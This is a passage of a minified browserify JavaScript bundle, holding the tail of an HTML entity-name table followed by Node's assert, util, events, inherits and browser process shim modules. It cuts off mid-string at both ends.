b0\",\"SucceedsSlantEqual;\":\"\\u227d\",\"SucceedsTilde;\":\"\\u227f\",\"succeq;\":\"\\u2ab0\",\"succnapprox;\":\"\\u2aba\",\"succneqq;\":\"\\u2ab6\",\"succnsim;\":\"\\u22e9\",\"succsim;\":\"\\u227f\",\"SuchThat;\":\"\\u220b\",\"sum;\":\"\\u2211\",\"Sum;\":\"\\u2211\",\"sung;\":\"\\u266a\",\"sup1;\":\"\\u00b9\",sup1:\"\\u00b9\",\"sup2;\":\"\\u00b2\",sup2:\"\\u00b2\",\"sup3;\":\"\\u00b3\",sup3:\"\\u00b3\",\"sup;\":\"\\u2283\",\"Sup;\":\"\\u22d1\",\"supdot;\":\"\\u2abe\",\"supdsub;\":\"\\u2ad8\",\"supE;\":\"\\u2ac6\",\"supe;\":\"\\u2287\",\"supedot;\":\"\\u2ac4\",\"Superset;\":\"\\u2283\",\"SupersetEqual;\":\"\\u2287\",\"suphsol;\":\"\\u27c9\",\"suphsub;\":\"\\u2ad7\",\"suplarr;\":\"\\u297b\",\"supmult;\":\"\\u2ac2\",\"supnE;\":\"\\u2acc\",\"supne;\":\"\\u228b\",\"supplus;\":\"\\u2ac0\",\"supset;\":\"\\u2283\",\"Supset;\":\"\\u22d1\",\"supseteq;\":\"\\u2287\",\"supseteqq;\":\"\\u2ac6\",\"supsetneq;\":\"\\u228b\",\"supsetneqq;\":\"\\u2acc\",\"supsim;\":\"\\u2ac8\",\"supsub;\":\"\\u2ad4\",\"supsup;\":\"\\u2ad6\",\"swarhk;\":\"\\u2926\",\"swarr;\":\"\\u2199\",\"swArr;\":\"\\u21d9\",\"swarrow;\":\"\\u2199\",\"swnwar;\":\"\\u292a\",\"szlig;\":\"\\u00df\",szlig:\"\\u00df\",\"Tab;\":\"\t\",\"target;\":\"\\u2316\",\"Tau;\":\"\\u03a4\",\"tau;\":\"\\u03c4\",\"tbrk;\":\"\\u23b4\",\"Tcaron;\":\"\\u0164\",\"tcaron;\":\"\\u0165\",\"Tcedil;\":\"\\u0162\",\"tcedil;\":\"\\u0163\",\"Tcy;\":\"\\u0422\",\"tcy;\":\"\\u0442\",\"tdot;\":\"\\u20db\",\"telrec;\":\"\\u2315\",\"Tfr;\":\"\\ud835\\udd17\",\"tfr;\":\"\\ud835\\udd31\",\"there4;\":\"\\u2234\",\"therefore;\":\"\\u2234\",\"Therefore;\":\"\\u2234\",\"Theta;\":\"\\u0398\",\"theta;\":\"\\u03b8\",\"thetasym;\":\"\\u03d1\",\"thetav;\":\"\\u03d1\",\"thickapprox;\":\"\\u2248\",\"thicksim;\":\"\\u223c\",\"ThickSpace;\":\"\\u205f\\u200a\",\"ThinSpace;\":\"\\u2009\",\"thinsp;\":\"\\u2009\",\"thkap;\":\"\\u2248\",\"thksim;\":\"\\u223c\",\"THORN;\":\"\\u00de\",THORN:\"\\u00de\",\"thorn;\":\"\\u00fe\",thorn:\"\\u00fe\",\"tilde;\":\"\\u02dc\",\"Tilde;\":\"\\u223c\",\"TildeEqual;\":\"\\u2243\",\"TildeFullEqual;\":\"\\u2245\",\"TildeTilde;\":\"\\u2248\",\"timesbar;\":\"\\u2a31\",\"timesb;\":\"\\u22a0\",\"times;\":\"\\u00d7\",times:\"\\u00d7\",\"timesd;\":\"\\u2a30\",\"tint;\":\"\\u222d\",\"toea;\":\"\\u2928\",\"topbot;\":\"\\u2336\",\"topcir;\":\"\\u2af1\",\"top;\":\"\\u22a4\",\"Topf;\":\"\\ud835\\udd4b\",\"topf;\":\"\\ud835\\udd65\",\"topfork;\":\"\\u2ada\",\"tosa;\":\"\\u2929\",\"tprime;\":\"\\u2034\",\"trade;\":\"\\u2122\",\"TRADE;\":\"\\u2122\",\"triangle;\":\"\\u25b5\",\"triangledown;\":\"\\u25bf\",\"triangleleft;\":\"\\u25c3\",\"trianglelefteq;\":\"\\u22b4\",\"triangleq;\":\"\\u225c\",\"triangleright;\":\"\\u25b9\",\"trianglerighteq;\":\"\\u22b5\",\"tridot;\":\"\\u25ec\",\"trie;\":\"\\u225c\",\"triminus;\":\"\\u2a3a\",\"TripleDot;\":\"\\u20db\",\"triplus;\":\"\\u2a39\",\"trisb;\":\"\\u29cd\",\"tritime;\":\"\\u2a3b\",\"trpezium;\":\"\\u23e2\",\"Tscr;\":\"\\ud835\\udcaf\",\"tscr;\":\"\\ud835\\udcc9\",\"TScy;\":\"\\u0426\",\"tscy;\":\"\\u0446\",\"TSHcy;\":\"\\u040b\",\"tshcy;\":\"\\u045b\",\"Tstrok;\":\"\\u0166\",\"tstrok;\":\"\\u0167\",\"twixt;\":\"\\u226c\",\"twoheadleftarrow;\":\"\\u219e\",\"twoheadrightarrow;\":\"\\u21a0\",\"Uacute;\":\"\\u00da\",Uacute:\"\\u00da\",\"uacute;\":\"\\u00fa\",uacute:\"\\u00fa\",\"uarr;\":\"\\u2191\",\"Uarr;\":\"\\u219f\",\"uArr;\":\"\\u21d1\",\"Uarrocir;\":\"\\u2949\",\"Ubrcy;\":\"\\u040e\",\"ubrcy;\":\"\\u045e\",\"Ubreve;\":\"\\u016c\",\"ubreve;\":\"\\u016d\",\"Ucirc;\":\"\\u00db\",Ucirc:\"\\u00db\",\"ucirc;\":\"\\u00fb\",ucirc:\"\\u00fb\",\"Ucy;\":\"\\u0423\",\"ucy;\":\"\\u0443\",\"udarr;\":\"\\u21c5\",\"Udblac;\":\"\\u0170\",\"udblac;\":\"\\u0171\",\"udhar;\":\"\\u296e\",\"ufisht;\":\"\\u297e\",\"Ufr;\":\"\\ud835\\udd18\",\"ufr;\":\"\\ud835\\udd32\",\"Ugrave;\":\"\\u00d9\",Ugrave:\"\\u00d9\",\"ugrave;\":\"\\u00f9\",ugrave:\"\\u00f9\",\"uHar;\":\"\\u2963\",\"uharl;\":\"\\u21bf\",\"uharr;\":\"\\u21be\",\"uhblk;\":\"\\u2580\",\"ulcorn;\":\"\\u231c\",\"ulcorner;\":\"\\u231c\",\"ulcrop;\":\"\\u230f\",\"ultri;\":\"\\u25f8\",\"Umacr;\":\"\\u016a\",\"umacr;\":\"\\u016b\",\"uml;\":\"\\u00a8\",uml:\"\\u00a8\",\"UnderBar;\":\"_\",\"UnderBrace;\":\"\\u23df\",\"UnderBracket;\":\"\\u23b5\",\"UnderParenthesis;\":\"\\u23dd\",\"Union;\":\"\\u22c3\",\"UnionPlus;\":\"\\u228e\",\"Uogon;\":\"\\u0172\",\"uogon;\":\"\\u0173\",\"Uopf;\":\"\\ud835\\udd4c\",\"uopf;\":\"\\ud835\\udd66\",\"UpArrowBar;\":\"\\u2912\",\"uparrow;\":\"\\u2191\",\"UpArrow;\":\"\\u2191\",\"Uparrow;\":\"\\u21d1\",\"UpArrowDownArrow;\":\"\\u21c5\",\"updownarrow;\":\"\\u2195\",\"UpDownArrow;\":\"\\u2195\",\"Updownarrow;\":\"\\u21d5\",\"UpEquilibrium;\":\"\\u296e\",\"upharpoonleft;\":\"\\u21bf\",\"upharpoonright;\":\"\\u21be\",\"uplus;\":\"\\u228e\",\"UpperLeftArrow;\":\"\\u2196\",\"UpperRightArrow;\":\"\\u2197\",\"upsi;\":\"\\u03c5\",\"Upsi;\":\"\\u03d2\",\"upsih;\":\"\\u03d2\",\"Upsilon;\":\"\\u03a5\",\"upsilon;\":\"\\u03c5\",\"UpTeeArrow;\":\"\\u21a5\",\"UpTee;\":\"\\u22a5\",\"upuparrows;\":\"\\u21c8\",\"urcorn;\":\"\\u231d\",\"urcorner;\":\"\\u231d\",\"urcrop;\":\"\\u230e\",\"Uring;\":\"\\u016e\",\"uring;\":\"\\u016f\",\"urtri;\":\"\\u25f9\",\"Uscr;\":\"\\ud835\\udcb0\",\"uscr;\":\"\\ud835\\udcca\",\"utdot;\":\"\\u22f0\",\"Utilde;\":\"\\u0168\",\"utilde;\":\"\\u0169\",\"utri;\":\"\\u25b5\",\"utrif;\":\"\\u25b4\",\"uuarr;\":\"\\u21c8\",\"Uuml;\":\"\\u00dc\",Uuml:\"\\u00dc\",\"uuml;\":\"\\u00fc\",uuml:\"\\u00fc\",\"uwangle;\":\"\\u29a7\",\"vangrt;\":\"\\u299c\",\"varepsilon;\":\"\\u03f5\",\"varkappa;\":\"\\u03f0\",\"varnothing;\":\"\\u2205\",\"varphi;\":\"\\u03d5\",\"varpi;\":\"\\u03d6\",\"varpropto;\":\"\\u221d\",\"varr;\":\"\\u2195\",\"vArr;\":\"\\u21d5\",\"varrho;\":\"\\u03f1\",\"varsigma;\":\"\\u03c2\",\"varsubsetneq;\":\"\\u228a\\ufe00\",\"varsubsetneqq;\":\"\\u2acb\\ufe00\",\"varsupsetneq;\":\"\\u228b\\ufe00\",\"varsupsetneqq;\":\"\\u2acc\\ufe00\",\"vartheta;\":\"\\u03d1\",\"vartriangleleft;\":\"\\u22b2\",\"vartriangleright;\":\"\\u22b3\",\"vBar;\":\"\\u2ae8\",\"Vbar;\":\"\\u2aeb\",\"vBarv;\":\"\\u2ae9\",\"Vcy;\":\"\\u0412\",\"vcy;\":\"\\u0432\",\"vdash;\":\"\\u22a2\",\"vDash;\":\"\\u22a8\",\"Vdash;\":\"\\u22a9\",\"VDash;\":\"\\u22ab\",\"Vdashl;\":\"\\u2ae6\",\"veebar;\":\"\\u22bb\",\"vee;\":\"\\u2228\",\"Vee;\":\"\\u22c1\",\"veeeq;\":\"\\u225a\",\"vellip;\":\"\\u22ee\",\"verbar;\":\"|\",\"Verbar;\":\"\\u2016\",\"vert;\":\"|\",\"Vert;\":\"\\u2016\",\"VerticalBar;\":\"\\u2223\",\"VerticalLine;\":\"|\",\"VerticalSeparator;\":\"\\u2758\",\"VerticalTilde;\":\"\\u2240\",\"VeryThinSpace;\":\"\\u200a\",\"Vfr;\":\"\\ud835\\udd19\",\"vfr;\":\"\\ud835\\udd33\",\"vltri;\":\"\\u22b2\",\"vnsub;\":\"\\u2282\\u20d2\",\"vnsup;\":\"\\u2283\\u20d2\",\"Vopf;\":\"\\ud835\\udd4d\",\"vopf;\":\"\\ud835\\udd67\",\"vprop;\":\"\\u221d\",\"vrtri;\":\"\\u22b3\",\"Vscr;\":\"\\ud835\\udcb1\",\"vscr;\":\"\\ud835\\udccb\",\"vsubnE;\":\"\\u2acb\\ufe00\",\"vsubne;\":\"\\u228a\\ufe00\",\"vsupnE;\":\"\\u2acc\\ufe00\",\"vsupne;\":\"\\u228b\\ufe00\",\"Vvdash;\":\"\\u22aa\",\"vzigzag;\":\"\\u299a\",\"Wcirc;\":\"\\u0174\",\"wcirc;\":\"\\u0175\",\"wedbar;\":\"\\u2a5f\",\"wedge;\":\"\\u2227\",\"Wedge;\":\"\\u22c0\",\"wedgeq;\":\"\\u2259\",\"weierp;\":\"\\u2118\",\"Wfr;\":\"\\ud835\\udd1a\",\"wfr;\":\"\\ud835\\udd34\",\"Wopf;\":\"\\ud835\\udd4e\",\"wopf;\":\"\\ud835\\udd68\",\"wp;\":\"\\u2118\",\"wr;\":\"\\u2240\",\"wreath;\":\"\\u2240\",\"Wscr;\":\"\\ud835\\udcb2\",\"wscr;\":\"\\ud835\\udccc\",\"xcap;\":\"\\u22c2\",\"xcirc;\":\"\\u25ef\",\"xcup;\":\"\\u22c3\",\"xdtri;\":\"\\u25bd\",\"Xfr;\":\"\\ud835\\udd1b\",\"xfr;\":\"\\ud835\\udd35\",\"xharr;\":\"\\u27f7\",\"xhArr;\":\"\\u27fa\",\"Xi;\":\"\\u039e\",\"xi;\":\"\\u03be\",\"xlarr;\":\"\\u27f5\",\"xlArr;\":\"\\u27f8\",\"xmap;\":\"\\u27fc\",\"xnis;\":\"\\u22fb\",\"xodot;\":\"\\u2a00\",\"Xopf;\":\"\\ud835\\udd4f\",\"xopf;\":\"\\ud835\\udd69\",\"xoplus;\":\"\\u2a01\",\"xotime;\":\"\\u2a02\",\"xrarr;\":\"\\u27f6\",\"xrArr;\":\"\\u27f9\",\"Xscr;\":\"\\ud835\\udcb3\",\"xscr;\":\"\\ud835\\udccd\",\"xsqcup;\":\"\\u2a06\",\"xuplus;\":\"\\u2a04\",\"xutri;\":\"\\u25b3\",\"xvee;\":\"\\u22c1\",\"xwedge;\":\"\\u22c0\",\"Yacute;\":\"\\u00dd\",Yacute:\"\\u00dd\",\"yacute;\":\"\\u00fd\",yacute:\"\\u00fd\",\"YAcy;\":\"\\u042f\",\"yacy;\":\"\\u044f\",\"Ycirc;\":\"\\u0176\",\"ycirc;\":\"\\u0177\",\"Ycy;\":\"\\u042b\",\"ycy;\":\"\\u044b\",\"yen;\":\"\\u00a5\",yen:\"\\u00a5\",\"Yfr;\":\"\\ud835\\udd1c\",\"yfr;\":\"\\ud835\\udd36\",\"YIcy;\":\"\\u0407\",\"yicy;\":\"\\u0457\",\"Yopf;\":\"\\ud835\\udd50\",\"yopf;\":\"\\ud835\\udd6a\",\"Yscr;\":\"\\ud835\\udcb4\",\"yscr;\":\"\\ud835\\udcce\",\"YUcy;\":\"\\u042e\",\"yucy;\":\"\\u044e\",\"yuml;\":\"\\u00ff\",yuml:\"\\u00ff\",\"Yuml;\":\"\\u0178\",\"Zacute;\":\"\\u0179\",\"zacute;\":\"\\u017a\",\"Zcaron;\":\"\\u017d\",\"zcaron;\":\"\\u017e\",\"Zcy;\":\"\\u0417\",\"zcy;\":\"\\u0437\",\"Zdot;\":\"\\u017b\",\"zdot;\":\"\\u017c\",\"zeetrf;\":\"\\u2128\",\"ZeroWidthSpace;\":\"\\u200b\",\"Zeta;\":\"\\u0396\",\"zeta;\":\"\\u03b6\",\"zfr;\":\"\\ud835\\udd37\",\"Zfr;\":\"\\u2128\",\"ZHcy;\":\"\\u0416\",\"zhcy;\":\"\\u0436\",\"zigrarr;\":\"\\u21dd\",\"zopf;\":\"\\ud835\\udd6b\",\"Zopf;\":\"\\u2124\",\"Zscr;\":\"\\ud835\\udcb5\",\"zscr;\":\"\\ud835\\udccf\",\"zwj;\":\"\\u200d\",\"zwnj;\":\"\\u200c\"}},{}],13:[function(e,t,n){function u(e,t){return r.isUndefined(t)?\"\"+t:r.isNumber(t)&&(isNaN(t)||!isFinite(t))?t.toString():r.isFunction(t)||r.isRegExp(t)?t.toString():t}function a(e,t){return r.isString(e)?e.length<t?e:e.slice(0,t):e}function f(e){return a(JSON.stringify(e.actual,u),128)+\" \"+e.operator+\" \"+a(JSON.stringify(e.expected,u),128)}function l(e,t,n,r,i){throw new o.AssertionError({message:n,actual:e,expected:t,operator:r,stackStartFunction:i})}function c(e,t){e||l(e,!0,t,\"==\",o.ok)}function h(e,t){if(e===t)return!0;if(r.isBuffer(e)&&r.isBuffer(t)){if(e.length!=t.length)return!1;for(var n=0;n<e.length;n++)if(e[n]!==t[n])return!1;return!0}return r.isDate(e)&&r.isDate(t)?e.getTime()===t.getTime():r.isRegExp(e)&&r.isRegExp(t)?e.source===t.source&&e.global===t.global&&e.multiline===t.multiline&&e.lastIndex===t.lastIndex&&e.ignoreCase===t.ignoreCase:!r.isObject(e)&&!r.isObject(t)?e==t:d(e,t)}function p(e){return Object.prototype.toString.call(e)==\"[object Arguments]\"}function d(e,t){if(r.isNullOrUndefined(e)||r.isNullOrUndefined(t))return!1;if(e.prototype!==t.prototype)return!1;if(p(e))return p(t)?(e=i.call(e),t=i.call(t),h(e,t)):!1;try{var n=g(e),s=g(t),o,u}catch(a){return!1}if(n.length!=s.length)return!1;n.sort(),s.sort();for(u=n.length-1;u>=0;u--)if(n[u]!=s[u])return!1;for(u=n.length-1;u>=0;u--){o=n[u];if(!h(e[o],t[o]))return!1}return!0}function v(e,t){return!e||!t?!1:Object.prototype.toString.call(t)==\"[object RegExp]\"?t.test(e):e instanceof t?!0:t.call({},e)===!0?!0:!1}function m(e,t,n,i){var s;r.isString(n)&&(i=n,n=null);try{t()}catch(o){s=o}i=(n&&n.name?\" (\"+n.name+\").\":\".\")+(i?\" \"+i:\".\"),e&&!s&&l(s,n,\"Missing expected exception\"+i),!e&&v(s,n)&&l(s,n,\"Got unwanted exception\"+i);if(e&&s&&n&&!v(s,n)||!e&&s)throw s}var r=e(\"util/\"),i=Array.prototype.slice,s=Object.prototype.hasOwnProperty,o=t.exports=c;o.AssertionError=function(t){this.name=\"AssertionError\",this.actual=t.actual,this.expected=t.expected,this.operator=t.operator,t.message?(this.message=t.message,this.generatedMessage=!1):(this.message=f(this),this.generatedMessage=!0);var n=t.stackStartFunction||l;if(Error.captureStackTrace)Error.captureStackTrace(this,n);else{var r=new Error;if(r.stack){var i=r.stack,s=n.name,o=i.indexOf(\"\\n\"+s);if(o>=0){var u=i.indexOf(\"\\n\",o+1);i=i.substring(u+1)}this.stack=i}}},r.inherits(o.AssertionError,Error),o.fail=l,o.ok=c,o.equal=function(t,n,r){t!=n&&l(t,n,r,\"==\",o.equal)},o.notEqual=function(t,n,r){t==n&&l(t,n,r,\"!=\",o.notEqual)},o.deepEqual=function(t,n,r){h(t,n)||l(t,n,r,\"deepEqual\",o.deepEqual)},o.notDeepEqual=function(t,n,r){h(t,n)&&l(t,n,r,\"notDeepEqual\",o.notDeepEqual)},o.strictEqual=function(t,n,r){t!==n&&l(t,n,r,\"===\",o.strictEqual)},o.notStrictEqual=function(t,n,r){t===n&&l(t,n,r,\"!==\",o.notStrictEqual)},o.throws=function(e,t,n){m.apply(this,[!0].concat(i.call(arguments)))},o.doesNotThrow=function(e,t){m.apply(this,[!1].concat(i.call(arguments)))},o.ifError=function(e){if(e)throw e};var g=Object.keys||function(e){var t=[];for(var n in e)s.call(e,n)&&t.push(n);return t}},{\"util/\":15}],14:[function(e,t,n){t.exports=function(t){return t&&typeof t==\"object\"&&typeof t.copy==\"function\"&&typeof t.fill==\"function\"&&typeof t.readUInt8==\"function\"}},{}],15:[function(e,t,n){(function(t,r){function u(e,t){var r={seen:[],stylize:f};return arguments.length>=3&&(r.depth=arguments[2]),arguments.length>=4&&(r.colors=arguments[3]),y(t)?r.showHidden=t:t&&n._extend(r,t),T(r.showHidden)&&(r.showHidden=!1),T(r.depth)&&(r.depth=2),T(r.colors)&&(r.colors=!1),T(r.customInspect)&&(r.customInspect=!0),r.colors&&(r.stylize=a),c(r,e,r.depth)}function a(e,t){var n=u.styles[t];return n?\"\u001b[\"+u.colors[n][0]+\"m\"+e+\"\u001b[\"+u.colors[n][1]+\"m\":e}function f(e,t){return e}function l(e){var t={};return e.forEach(function(e,n){t[e]=!0}),t}function c(e,t,r){if(e.customInspect&&t&&A(t.inspect)&&t.inspect!==n.inspect&&(!t.constructor||t.constructor.prototype!==t)){var i=t.inspect(r,e);return S(i)||(i=c(e,i,r)),i}var s=h(e,t);if(s)return s;var o=Object.keys(t),u=l(o);e.showHidden&&(o=Object.getOwnPropertyNames(t));if(L(t)&&(o.indexOf(\"message\")>=0||o.indexOf(\"description\")>=0))return p(t);if(o.length===0){if(A(t)){var a=t.name?\": \"+t.name:\"\";return e.stylize(\"[Function\"+a+\"]\",\"special\")}if(N(t))return e.stylize(RegExp.prototype.toString.call(t),\"regexp\");if(k(t))return e.stylize(Date.prototype.toString.call(t),\"date\");if(L(t))return p(t)}var f=\"\",y=!1,b=[\"{\",\"}\"];g(t)&&(y=!0,b=[\"[\",\"]\"]);if(A(t)){var w=t.name?\": \"+t.name:\"\";f=\" [Function\"+w+\"]\"}N(t)&&(f=\" \"+RegExp.prototype.toString.call(t)),k(t)&&(f=\" \"+Date.prototype.toUTCString.call(t)),L(t)&&(f=\" \"+p(t));if(o.length!==0||!!y&&t.length!=0){if(r<0)return N(t)?e.stylize(RegExp.prototype.toString.call(t),\"regexp\"):e.stylize(\"[Object]\",\"special\");e.seen.push(t);var E;return y?E=d(e,t,r,u,o):E=o.map(function(n){return v(e,t,r,u,n,y)}),e.seen.pop(),m(E,f,b)}return b[0]+f+b[1]}function h(e,t){if(T(t))return e.stylize(\"undefined\",\"undefined\");if(S(t)){var n=\"'\"+JSON.stringify(t).replace(/^\"|\"$/g,\"\").replace(/'/g,\"\\\\'\").replace(/\\\\\"/g,'\"')+\"'\";return e.stylize(n,\"string\")}if(E(t))return e.stylize(\"\"+t,\"number\");if(y(t))return e.stylize(\"\"+t,\"boolean\");if(b(t))return e.stylize(\"null\",\"null\")}function p(e){return\"[\"+Error.prototype.toString.call(e)+\"]\"}function d(e,t,n,r,i){var s=[];for(var o=0,u=t.length;o<u;++o)H(t,String(o))?s.push(v(e,t,n,r,String(o),!0)):s.push(\"\");return i.forEach(function(i){i.match(/^\\d+$/)||s.push(v(e,t,n,r,i,!0))}),s}function v(e,t,n,r,i,s){var o,u,a;a=Object.getOwnPropertyDescriptor(t,i)||{value:t[i]},a.get?a.set?u=e.stylize(\"[Getter/Setter]\",\"special\"):u=e.stylize(\"[Getter]\",\"special\"):a.set&&(u=e.stylize(\"[Setter]\",\"special\")),H(r,i)||(o=\"[\"+i+\"]\"),u||(e.seen.indexOf(a.value)<0?(b(n)?u=c(e,a.value,null):u=c(e,a.value,n-1),u.indexOf(\"\\n\")>-1&&(s?u=u.split(\"\\n\").map(function(e){return\"  \"+e}).join(\"\\n\").substr(2):u=\"\\n\"+u.split(\"\\n\").map(function(e){return\"   \"+e}).join(\"\\n\"))):u=e.stylize(\"[Circular]\",\"special\"));if(T(o)){if(s&&i.match(/^\\d+$/))return u;o=JSON.stringify(\"\"+i),o.match(/^\"([a-zA-Z_][a-zA-Z_0-9]*)\"$/)?(o=o.substr(1,o.length-2),o=e.stylize(o,\"name\")):(o=o.replace(/'/g,\"\\\\'\").replace(/\\\\\"/g,'\"').replace(/(^\"|\"$)/g,\"'\"),o=e.stylize(o,\"string\"))}return o+\": \"+u}function m(e,t,n){var r=0,i=e.reduce(function(e,t){return r++,t.indexOf(\"\\n\")>=0&&r++,e+t.replace(/\\u001b\\[\\d\\d?m/g,\"\").length+1},0);return i>60?n[0]+(t===\"\"?\"\":t+\"\\n \")+\" \"+e.join(\",\\n  \")+\" \"+n[1]:n[0]+t+\" \"+e.join(\", \")+\" \"+n[1]}function g(e){return Array.isArray(e)}function y(e){return typeof e==\"boolean\"}function b(e){return e===null}function w(e){return e==null}function E(e){return typeof e==\"number\"}function S(e){return typeof e==\"string\"}function x(e){return typeof e==\"symbol\"}function T(e){return e===void 0}function N(e){return C(e)&&M(e)===\"[object RegExp]\"}function C(e){return typeof e==\"object\"&&e!==null}function k(e){return C(e)&&M(e)===\"[object Date]\"}function L(e){return C(e)&&(M(e)===\"[object Error]\"||e instanceof Error)}function A(e){return typeof e==\"function\"}function O(e){return e===null||typeof e==\"boolean\"||typeof e==\"number\"||typeof e==\"string\"||typeof e==\"symbol\"||typeof e==\"undefined\"}function M(e){return Object.prototype.toString.call(e)}function _(e){return e<10?\"0\"+e.toString(10):e.toString(10)}function P(){var e=new Date,t=[_(e.getHours()),_(e.getMinutes()),_(e.getSeconds())].join(\":\");return[e.getDate(),D[e.getMonth()],t].join(\" \")}function H(e,t){return Object.prototype.hasOwnProperty.call(e,t)}var i=/%[sdj%]/g;n.format=function(e){if(!S(e)){var t=[];for(var n=0;n<arguments.length;n++)t.push(u(arguments[n]));return t.join(\" \")}var n=1,r=arguments,s=r.length,o=String(e).replace(i,function(e){if(e===\"%%\")return\"%\";if(n>=s)return e;switch(e){case\"%s\":return String(r[n++]);case\"%d\":return Number(r[n++]);case\"%j\":try{return JSON.stringify(r[n++])}catch(t){return\"[Circular]\"};default:return e}});for(var a=r[n];n<s;a=r[++n])b(a)||!C(a)?o+=\" \"+a:o+=\" \"+u(a);return o},n.deprecate=function(e,i){function o(){if(!s){if(t.throwDeprecation)throw new Error(i);t.traceDeprecation?console.trace(i):console.error(i),s=!0}return e.apply(this,arguments)}if(T(r.process))return function(){return n.deprecate(e,i).apply(this,arguments)};if(t.noDeprecation===!0)return e;var s=!1;return o};var s={},o;n.debuglog=function(e){T(o)&&(o=t.env.NODE_DEBUG||\"\"),e=e.toUpperCase();if(!s[e])if((new RegExp(\"\\\\b\"+e+\"\\\\b\",\"i\")).test(o)){var r=t.pid;s[e]=function(){var t=n.format.apply(n,arguments);console.error(\"%s %d: %s\",e,r,t)}}else s[e]=function(){};return s[e]},n.inspect=u,u.colors={bold:[1,22],italic:[3,23],underline:[4,24],inverse:[7,27],white:[37,39],grey:[90,39],black:[30,39],blue:[34,39],cyan:[36,39],green:[32,39],magenta:[35,39],red:[31,39],yellow:[33,39]},u.styles={special:\"cyan\",number:\"yellow\",\"boolean\":\"yellow\",\"undefined\":\"grey\",\"null\":\"bold\",string:\"green\",date:\"magenta\",regexp:\"red\"},n.isArray=g,n.isBoolean=y,n.isNull=b,n.isNullOrUndefined=w,n.isNumber=E,n.isString=S,n.isSymbol=x,n.isUndefined=T,n.isRegExp=N,n.isObject=C,n.isDate=k,n.isError=L,n.isFunction=A,n.isPrimitive=O,n.isBuffer=e(\"./support/isBuffer\");var D=[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"];n.log=function(){console.log(\"%s - %s\",P(),n.format.apply(n,arguments))},n.inherits=e(\"inherits\"),n._extend=function(e,t){if(!t||!C(t))return e;var n=Object.keys(t),r=n.length;while(r--)e[n[r]]=t[n[r]];return e}}).call(this,e(\"/usr/local/lib/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js\"),typeof self!=\"undefined\"?self:typeof window!=\"undefined\"?window:{})},{\"./support/isBuffer\":14,\"/usr/local/lib/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js\":18,inherits:17}],16:[function(e,t,n){function r(){this._events=this._events||{},this._maxListeners=this._maxListeners||undefined}function i(e){return typeof e==\"function\"}function s(e){return typeof e==\"number\"}function o(e){return typeof e==\"object\"&&e!==null}function u(e){return e===void 0}t.exports=r,r.EventEmitter=r,r.prototype._events=undefined,r.prototype._maxListeners=undefined,r.defaultMaxListeners=10,r.prototype.setMaxListeners=function(e){if(!s(e)||e<0||isNaN(e))throw TypeError(\"n must be a positive number\");return this._maxListeners=e,this},r.prototype.emit=function(e){var t,n,r,s,a,f;this._events||(this._events={});if(e===\"error\")if(!this._events.error||o(this._events.error)&&!this._events.error.length)throw t=arguments[1],t instanceof Error?t:TypeError('Uncaught, unspecified \"error\" event.');n=this._events[e];if(u(n))return!1;if(i(n))switch(arguments.length){case 1:n.call(this);break;case 2:n.call(this,arguments[1]);break;case 3:n.call(this,arguments[1],arguments[2]);break;default:r=arguments.length,s=new Array(r-1);for(a=1;a<r;a++)s[a-1]=arguments[a];n.apply(this,s)}else if(o(n)){r=arguments.length,s=new Array(r-1);for(a=1;a<r;a++)s[a-1]=arguments[a];f=n.slice(),r=f.length;for(a=0;a<r;a++)f[a].apply(this,s)}return!0},r.prototype.addListener=function(e,t){var n;if(!i(t))throw TypeError(\"listener must be a function\");this._events||(this._events={}),this._events.newListener&&this.emit(\"newListener\",e,i(t.listener)?t.listener:t),this._events[e]?o(this._events[e])?this._events[e].push(t):this._events[e]=[this._events[e],t]:this._events[e]=t;if(o(this._events[e])&&!this._events[e].warned){var n;u(this._maxListeners)?n=r.defaultMaxListeners:n=this._maxListeners,n&&n>0&&this._events[e].length>n&&(this._events[e].warned=!0,console.error(\"(node) warning: possible EventEmitter memory leak detected. %d listeners added. Use emitter.setMaxListeners() to increase limit.\",this._events[e].length),console.trace())}return this},r.prototype.on=r.prototype.addListener,r.prototype.once=function(e,t){function r(){this.removeListener(e,r),n||(n=!0,t.apply(this,arguments))}if(!i(t))throw TypeError(\"listener must be a function\");var n=!1;return r.listener=t,this.on(e,r),this},r.prototype.removeListener=function(e,t){var n,r,s,u;if(!i(t))throw TypeError(\"listener must be a function\");if(!this._events||!this._events[e])return this;n=this._events[e],s=n.length,r=-1;if(n===t||i(n.listener)&&n.listener===t)delete this._events[e],this._events.removeListener&&this.emit(\"removeListener\",e,t);else if(o(n)){for(u=s;u-->0;)if(n[u]===t||n[u].listener&&n[u].listener===t){r=u;break}if(r<0)return this;n.length===1?(n.length=0,delete this._events[e]):n.splice(r,1),this._events.removeListener&&this.emit(\"removeListener\",e,t)}return this},r.prototype.removeAllListeners=function(e){var t,n;if(!this._events)return this;if(!this._events.removeListener)return arguments.length===0?this._events={}:this._events[e]&&delete this._events[e],this;if(arguments.length===0){for(t in this._events){if(t===\"removeListener\")continue;this.removeAllListeners(t)}return this.removeAllListeners(\"removeListener\"),this._events={},this}n=this._events[e];if(i(n))this.removeListener(e,n);else while(n.length)this.removeListener(e,n[n.length-1]);return delete this._events[e],this},r.prototype.listeners=function(e){var t;return!this._events||!this._events[e]?t=[]:i(this._events[e])?t=[this._events[e]]:t=this._events[e].slice(),t},r.listenerCount=function(e,t){var n;return!e._events||!e._events[t]?n=0:i(e._events[t])?n=1:n=e._events[t].length,n}},{}],17:[function(e,t,n){typeof Object.create==\"function\"?t.exports=function(t,n){t.super_=n,t.prototype=Object.create(n.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}})}:t.exports=function(t,n){t.super_=n;var r=function(){};r.prototype=n.prototype,t.prototype=new r,t.prototype.constructor=t}},{}],18:[function(e,t,n){function i(){}var r=t.exports={};r.nextTick=function(){var e=typeof window!=\"undefined\"&&window.setImmediate,t=typeof window!=\"undefined\"&&window.postMessage&&window.addEventListener;if(e)return function(e){return window.setImmediate(e)};if(t){var n=[];return window.addEventListener(\"message\",function(e){var t=e.source;if((t===window||t===null)&&e.data===\"process-tick\"){e.stopPropagation();if(n.length>0){var r=n.shift();r()}}},!0),function(t){n.push(t),window.postMessage(\"process-tick\",\"*\")}}return function(t){setTimeout(t,0)}}(),r.title=\"browser\",r.browser=!0,r.env={},r.argv=[],r.on=i,r.once=i,r.off=i,r.emit=i,r.binding=function(e){throw new Error(\"process.binding is not 